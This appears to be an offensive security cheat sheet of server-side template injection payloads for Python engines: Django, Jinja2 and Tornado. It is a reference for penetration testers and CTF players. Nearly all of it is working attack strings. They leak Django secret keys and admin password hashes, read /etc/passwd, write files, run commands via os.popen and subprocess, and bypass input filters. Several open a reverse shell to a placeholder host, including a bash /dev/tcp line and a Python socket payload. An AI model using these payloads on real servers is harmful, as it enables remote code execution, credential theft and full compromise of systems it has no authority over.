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Server Side Template Injection - Python

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.

Summary

Templating Libraries
Django
Jinja2
Tornado
- Tornado - Basic Injection
- Tornado - Remote Command Execution
Mako
- Mako - Remote Command Execution
References

Templating Libraries

Template Name	Payload Format
Bottle	`{{ }}`
Chameleon	`${ }`
Cheetah	`${ }`
Django	`{{ }}`
Jinja2	`{{ }}`
Mako	`${ }`
Pystache	`{{ }}`
Tornado	`{{ }}`

Django

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Django - Basic Injection

{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django - Cross-Site Scripting

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Django - Debug Information Leak

{% debug %}

Django - Leaking App's Secret Key

{{ messages.storages.0.signer.key }}

Django - Admin Site URL leak

{% include 'admin/base.html' %}

Django - Admin Username And Password Hash Leak

{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Jinja2 - Basic Injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on a Flask application.

Jinja2 - Template Format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Jinja2 - Debug Statement

If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

<pre>{% debug %}</pre>

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Jinja2 - Dump All Used Classes

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Access __globals__ and __builtins__:

{{ self.__init__.__globals__.__builtins__ }}

Jinja2 - Dump All Config Variables

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Jinja2 - Read Remote File

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Jinja2 - Write Into Remote File

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Jinja2 - Remote Command Execution

Listen for connection

nc -lnvp 8000

Jinja2 - Forcing Output On Blind RCE

You can import Flask functions to return an output from the vulnerable page.

{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
")
}}

Exploit The SSTI By Calling os.popen().read()

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

We can use these shorter payloads:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Source @podalirius_ : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/

With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:

{{ lipsum.__globals__["os"].popen('id').read() }}

Source: https://twitter.com/podalirius_/status/1655970628648697860

Exploit The SSTI By Calling subprocess.Popen

⚠️ the number 396 will vary depending of the application.

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Exploit The SSTI By Calling Popen Without Guessing The Offset

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Exploit The SSTI By Writing An Evil Config File

# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Jinja2 - Filter Bypass

request.__class__
request["__class__"]

Bypassing _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Tornado

Tornado - Basic Injection

{{7*7}}
{{7*'7'}}

Tornado - Remote Command Execution

{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}

Mako